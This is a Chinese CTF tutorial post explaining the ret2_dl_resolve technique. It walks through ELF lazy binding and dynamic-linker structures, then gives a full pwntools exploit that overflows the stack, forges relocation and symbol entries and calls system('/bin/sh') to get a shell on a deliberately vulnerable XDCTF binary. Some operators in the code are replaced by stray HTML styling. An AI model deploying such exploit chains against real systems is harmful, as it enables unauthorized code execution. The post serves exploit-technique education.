当前位置:网站首页 > 网络安全培训 > 正文

ret2_dl_resolve原理和案例分析

freebuffreebuf 2019-02-28 254 0

本文来源:ret2_dl_resolve原理和案例分析

原创: 华电合粉俱乐部 合天智汇

在只有一个二进制程序 dl_resolve 的情况下, 先侦查一下程序

file 看一下dl_resolve

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1d1069f4b385c33f75c952c01264077e6787441c, stripped

(stripped 表示符号表已被删除, 在调试的时候就不能直接在函数名上打断点,因为函数名(符号) 已经被删除)。

根据编译命令我们得知,dl_resolve 开了堆栈保护但没有开启PIE(就算系统开启ASLR也没关系), 再次确认一下

image.png

到此为止,外围的侦查已经完成。

获取的信息有:

1、32位程序。

2、堆栈不可执行。

3、没有地址随机化。

4、只有二进制程序。(没有lib.so 意味着没有办法泄露地址)。

接下来将程序放到IDA中分析

image.pngimage.png可以看到程序非常简单, 在函数 sub_80484EB() 存在栈溢出。

image.png(buf的空间 0x6c 小于 输入的最大长度 0x100 造成栈溢出)。 溢出我们可以控制sub_80484EB() 的函数地址, 但问题是返回到那个地址? 即使我们可以返回到通用gadget的位置, 因为没有库文件没办法泄露 system() 的地址,最终也是无法getshell。所以我们要另辟蹊径, 在2015年国外大神在一篇论文中提出了劫持动态链接器,让动态链接器去解析我们指定函数的地址并且执行该函数。 如果放在这个题目上我们可以控制动态链接器去解析system函数的地址,然后执行system函数,这样就能getshell了。

动态链接器是如何解析函数地址的(以read函数为例)

先简单说下动态链接器的概念,我们现在在Linux平台下看到的程序大都是ELF文件格式的。 而且大部分是动态链接的,动态链接的出现主要是为了解决内存的浪费问题。 在静态链接时期程序所依赖的库都是直接链接到二进制程序里的。 比如有两个helloworld的程序都用到了printf函数,如果是静态链接那么在这两个的程序的内存空间里都包含printf函数。 但如果是动态链接的话,两个程序各只引用printf这个符号。 然后内存保存printf函数的一份拷贝,这样就节省了一部分空间。在helloworld程序运行的时候就需要把真正的printf函数的地址填充到hellworld程序中去。 做这个工作的正是动态链接器。

言归正传,为了更加清楚的演示。 我们使用gdb来调试dl_resolve 。

在 0x80484eb 处下断点,运行到如下图所示处:

image.pngimage.png然后 si 跟进

image.png此时查看一下0x804a014地址处的内容

image.png发现内容值正好是下一条指令的地址,为什么是这样我们稍后解析。再继续执行。

image.png到这之后我们再次查看0x804a014地址处的内容

image.png发现内容已经更改。更改的内容正是read函数在内存中真正的地址。然后再继续往下执行,然后看到

image.png此时已经开始执行read函数了。以上过程展示了动态链接器解析和执行read函数的过程。接下来我们仔细探究这一过程。

延迟绑定

在动态链接下,程序模块之间包含了大量的函数引用,所以在程序开始执行前,动态链接会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位。为了提高动态链接的效率ELF文件采用延迟绑定的技术,其基本思想就是当函数第一次被用到时才进行绑定(符号查找,重定位等)。 ELF使用PLT(Procedure Linkage Table)来实现延迟绑定。在图4 中看到的 read@plt 就表示了对于read函数的调用采用了延迟绑定的方法。一般来说外部函数逇plt实现如下(以read为例)

read@plt:

   jmp *(read@GOT)

   push n

   push 保存当前程序的.dynamic的link_map指针

   jump _dl_runtime_resolve()


(后面这两行统一被放在PLT表开始, 因为所有的外部函数PLT表项都含这两行)read@Got 代表Got表中存储read函数地址的地址(外部函数的地址都在Got表中存储),延迟绑定的具体过程是:在调用read函数前 read@Got填充的是下一条指令的地址,比如ds:0x804a010 的内容是0x80483a6 就是相对于当前指令的下一条指令地址。这样相当于没跳转,接着开始执行符号解析的过程,当解析出真正的read函数地址,填充到read@Got,然后跳转到read@Got保存的地址处执行read函数。

对应到图6 我们看到

image.pngimage.png

Got表的前两项有特殊意义:

GOT[1]:一个指向内部数据结构的指针,类型是 linkmap,在动态装载器内部使用,包含了进行符号解析需要的当前 ELF 对象的信息。在它的 linfo域中保存了 .dynamic 段中大多数条目的指针构成的一个数组,我们后面会利用它。

GOT[2]:一个指向动态装载器中 dlruntimeresolve 函数的指针。PLT[0] 处的代码将 GOT[1] 的值压入栈中,然后跳转到 GOT[2]。函数使用参数 linkmapobj 来获取解析导入函数(使用 relocindex 参数标识)需要的信息,并将结果写到正确的 GOT 条目中。在 dlruntime_resolve解析完成后,控制流就交到了那个函数手里,而下次再调用函数的 plt 时,就会直接进入目标函数中执行。

动态链接器进行符号解析的过程

dlruntime_resolve 的过程如下图所示:


在解释这张图之前我了解图上的符号都是什么意思。ELF中有几个段是专门用于动态链接的,比如.dynamic段,.dynsym段(动态链接符号表),.dynstr(动态链接字符串表)。 已经和重定位有关的 .rel.dyn 和 .rel.plt 前者保存数据引用的重定位信息,所修正的位置位于.got以及数据段。后者保存函数引用的重定位信息,所修正的位置位于.got.plt。下面一次介绍下这几个段的数据结构:

typedef struct

{

Elf32_Sword d_tag; /* Dynamic entry type */

union

{

       Elf32_Word d_val; /* Integer value */

       Elf32_Addr d_ptr; /* Address value */

   } d_un;

} Elf32_Dyn;

Elf32_Dyn 结构由一个类型值加上一个附加的数据或指针,对于不同类型,后面附加的数值或者指针有着不同含义,列举几个比较常见的类型值

d_tag类型d_un的含义
DT_SYMTAB动态链接符号表的地址d_ptr 表示.dynsym的地址
DT_STRTAB动态链接字符串表的地址 d_ptr 表示.dynstr的地址
DT_STRSZ动态链接字符串表大小 d_val 表示大小
DT_REL DT_RELA动态链接重定位表地址

typedef struct

{

   Elf32_Word st_name; /* Symbol name (string tbl index

) */

   Elf32_Addr st_value; /* Symbol value */

   Elf32_Word st_size; /* Symbol size */

   unsigned char st_info; /* Symbol type and binding */

   unsigned char st_other; /* Symbol visibility */

   Elf32_Section st_shndx; /* Section index */

} Elf32_Sym    

动态链接符号表和符号表的数据接口相同的,只不过前者只包含与动态链接有关的符号,下面对各个成员的意义进行说明:

st_name符号名,这个成员包含了该符号名在字符串表中的下标
st_value符号对应的值,跟符号有关可能是一个绝对值也可能是一个地址,不同的符号对应的值含义不同
st_size符号大小,对于包含数据的符号,这个值是该数据类型的大小。
st_info符号类型和绑定信息,见下问符号类型和绑定信息
st_other该成员目前没有意义
st_shndx符号所在段

符号类型和绑定信息(st_info):该成员低4位表示符号的类型,高4位表示符号绑定信息(此处《程序员的自我修养》P82页表述是高28位表示符号绑定信息,但unsigned char 就占8位啊。 ),如下表所示

符号绑定信息
宏定义名说明
STB_LOCAL0局部符号,对于目标文件的外部不可见
STB_GLOBAL1全局符号,外部可见
STB_WEAK2弱引用
符号类型
宏定义名说明
STT_NOTYPE0未知类型符号
STT_OBJECT1该符号是个数据对象,比如变量、数组等。
STT_FUNC2该符号是个函数或其他可执行代码
STT_SECTION3该符号表示一个段,这种符号必须是STB_LOCAL的
STT_FILE4该符号表示文件名,一般都是该目标文件所对用的源文件名,它一定是STB_LOCAL类型的,并且它的st_shndx一定是SHN_ABS

struct

{

   Elf32_Addr r_offset; /* Address */

  Elf32_Word r_info; /* Relocation type and symbol index */

} Elf32_Rel;


r_offset重定位入口的偏移
R_info重定位入口的类型和符号,该成员低8位表示充定位入口的类型,高24位表示重定位入口的符号在符号表中的下标。

.dynstr表就是用于集中存储和动态链接相关的字符串。 然后使用字符串在表中的偏移来引用字符串。

图11中表示的dlruntime_resolve(动态链接器) 的工作过程如下:

首先根据relocindex 获取符号在重定位表中的表项地址。 获取符号地址的存放位置(roffset),以及该符号的类型和动态链接符号表表项的偏移(Elf32Sym)。接着根据符号表项中的信息获取该符号的符号名在动态链接字符串表中的下标(stname),以及该符号的符号类型和绑定信息。然后调用 _fixup() 函数找到该符号在内存中的真正地址,并填充到r_offset指定的位置(Got表),最后跳转真正的函数入口处执行。

总结一下:动态链接器进行符号解析用到的关键信息有 relocindex,Elf32Rel ,Elf32Sym , 已经符号名字符串。最最关键的是relocindex, 动态链接器同构relocindex 去找要进行重定位的符号。 问题在于动态链接器并没检查relocindex(貌似也没法检查)。在32位系统上relocindex 是通过通过压栈传递的。 所以只要存在栈溢出,就可以将自定义的relocindex提前布置到栈上,覆盖返回地址到PLT[0]。就可以让动态链接器去我们指定的位置找重定位表项, 符号表项,符号名。只要伪造的这些表项正确, 那么动态链接器就可以解析出我们想要解析的符号,比如System。进而getshell。



ret2dlresove漏洞利用

了解了动态链接器的工作原理和利用思路,接下来以文章最开始提到的程序作为练习。

1. 确定ret地址

我们要让程序解析system函数的地址,就需要让程序将我们伪造的 system 的重定位表项,符号表, 符号名以及system的参数读入内存中。因此首先控制sub_80484EB()函数返回到read函数执行。

from pwn import *

import pdb

context.log_level = 'debug'

#context.terminal = ['tmux', 'spiltw', '-h']

elf = ELF('./dl_resolve')

pppr_addr = 0x08048609 # pop esi ; pop edi ; pop ebp ;ret

pop_ebp_addr = 0x0804860b # pop ebp ; ret

leave_ret_addr = 0x08048458 # leave ; ret

read_plt = elf.plt['read']

bss_addr = elf.get_section_by_name('.bss').header.sh_addr

base_addr = bss_addr  + 0x550  #存在伪造表项内存地址

payload_1 = "A" * 112

payload_1 += p32(read_plt)

payload_1 += p32(pppr_addr) #调整堆栈

payload_1 += p32(0) # 第一个参数 stdin

payload_1 += p32(base_addr) # 第二个参数 buf

payload_1 += p32(100)  # 第三个参数 len

payload_1 += p32(pop_ebp_addr) # 与 leave_ret_addr 配合完成堆栈转移

payload_1 += p32(base_addr)

payload_1 += p32(leave_ret_addr)

io.send(payload_1)


2. 伪造表项

计算偏移的公式为:offset= 目的– 基址。根据上文对各个表项结构的分析我们有:

plt_0 = elf.get_section_by_name('.plt').header.sh_addr

# 0x80483e0

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

# 0x8048390

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr

# 0x80481cc

dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

# 0x804828c

bss_addr = elf.get_section_by_name('.bss').header.sh_addr

reloc_index = base_addr + 28 - rel_plt  # 28是个自定义的数字,表示rel的偏移 

fake_sym_addr = base_addr + 36 # 36是个自定义的数字,表示 fake_sym的偏移

align = 0x10 - ((fake_sym_addr - dynsym) font-size:13px;color:#df5320">0xf) #因为符号表每项的大小正好是 16字节, 

fake_sym_addr = fake_sym_addr + align # 伪造的地址应该也和16字节对齐

r_sym = (fake_sym_addr - dynsym) / 0x10 # 计算下标r_type = 0x7  # 对应函数 此值是固定的

r_info = (r_sym 8) + (r_type font-size:13px;color:#df5320">0xff

fake_reloc = p32(read_got) + p32(r_info) #此处借用read@got在存system地址

st_name = fake_sym_addr + 0x10 - dynstr  # system字符串存储的位置

st_bind = 0x1 #  含义见上文符号绑定信息

st_type = 0x2 #  含义见上文符号类型

st_info = (st_bind 4) + (st_type font-size:13px;color:#df5320">0xf)

fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) #真正用到的是 st_name 和 st_info 


3. 读入伪造的表项


  1. #堆栈转移后ebp的内容


  2. payload_2 += p32(plt_0) #leave_ret 到 plt_0


  3. payload_2 += p32(reloc_index)


  4. payload_2 += "AAAA"   #call read@plt 的返回地址


  5. payload_2 += p32(base_addr + 80) # system的参数


  6. payload_2 += "AAAA"


  7. payload_2 += "AAAA"


  8. payload_2 += fake_reloc


  9. payload_2 += "A" * align


  10. payload_2 += fake_sym


  11. payload_2 += "system\x00"


  12. payload_2 += "A" * (80 - len(payload_2))


  13. payload_2 += "/bin/sh\x00" # 参数字符串


  14. payload_2 += "A" * (100 - len(payload_2))


  15. #pdb.set_trace()


  16. io.sendline(payload_2)


  17. io.interactive()


4. getshell

先模拟程序远程启动:

socat tcp4-listen:10001,reuseaddr,fork exec:./dl_resolve font-size:13px;color:#6666ea">from pwn import *import pdb

context.log_level = 'debug'

#context.terminal = ['tmux', 'spiltw', '-h']

elf = ELF('./dl_resolve')

pppr_addr = 0x08048609 # pop esi ; pop edi ; pop ebp ;ret

pop_ebp_addr = 0x0804860b # pop ebp ; ret

leave_ret_addr = 0x08048458 # leave ; ret

write_plt = elf.plt['write']

write_got = elf.got['write']

read_plt = elf.plt['read']

plt_0 = elf.get_section_by_name('.plt').header.sh_addr

# 0x80483e0

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

# 0x8048390

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr

# 0x80481cc

dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

# 0x804828c

bss_addr = elf.get_section_by_name('.bss').header.sh_addr

# 0x804a028

#io = gdb.debug('./dl_resolve', 'b main')

#io = process('./dl_resolve')

io = remote('127.0.0.1', 10001)

#base_addr = bss_addr + 0x600 # 0x804a628

base_addr = bss_addr  + 0x550

payload_1 = "A" * 112

payload_1 += p32(read_plt)

payload_1 += p32(pppr_addr)

payload_1 += p32(0)

payload_1 += p32(base_addr)

payload_1 += p32(100)

payload_1 += p32(pop_ebp_addr)

payload_1 += p32(base_addr)

payload_1 += p32(leave_ret_addr)

io.send(payload_1)

reloc_index = base_addr + 28 - rel_plt

fake_sym_addr = base_addr + 36

align = 0x10 - ((fake_sym_addr - dynsym) font-size:13px;color:#df5320">0xf)

fake_sym_addr = fake_sym_addr + align

r_sym = (fake_sym_addr - dynsym) / 0x10

r_type = 0x7

r_info = (r_sym 8) + (r_type font-size:13px;color:#df5320">0xff)

fake_reloc = p32(write_got) + p32(r_info)

st_name = fake_sym_addr + 0x10 - dynstr 

st_bind = 0x1

st_type = 0x2

st_info = (st_bind 4) + (st_type font-size:13px;color:#df5320">0xf)

fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)

payload_2 = "AAAA"

payload_2 += p32(plt_0)

payload_2 += p32(reloc_index)

payload_2 += "AAAA"   #return_addr

payload_2 += p32(base_addr + 80) #arg

payload_2 += "AAAA"

payload_2 += "AAAA"

payload_2 += fake_reloc

payload_2 += "A" * align

payload_2 += fake_sym

payload_2 += "system\x00"

payload_2 += "A" * (80 - len(payload_2))

payload_2 += "/bin/sh\x00"

payload_2 += "A" * (100 - len(payload_2))

#pdb.set_trace()

io.sendline(payload_2)

io.interactive()


dl_resolve.c


  1. #include stdio.h>


  2. #include unistd.h>


  3. #include string.h>


  4. void vuln()


  5. {


  6.    char buf[100];


  7.    setbuf(stdin, buf);


  8.    read(0, buf, 256);


  9. }


  10. int main()


  11. {


  12.    char buf[100] = "Welcome to XDCTF~!\n";


  13.    setbuf(stdout, buf);


  14.    write(1, buf, strlen(buf));


  15.    vuln();


  16.    return 0;


  17. }


  18. # gcc dl_resolve.c -o dl_resolve -fno-stack-protector -no-pie -s -m32


参考资料:

https://github.com/firmianay/CTF-All-In-One

https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf

《程序员的自我修养》

欢迎各位童鞋就文章中的问题一起交流,一起happy!

联系我: 18511771015@163.com 。

本文为合天原创,未经允许,严禁转载。

转载请注明来自网盾网络安全培训,本文标题:《ret2_dl_resolve原理和案例分析》

标签:合天智汇

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表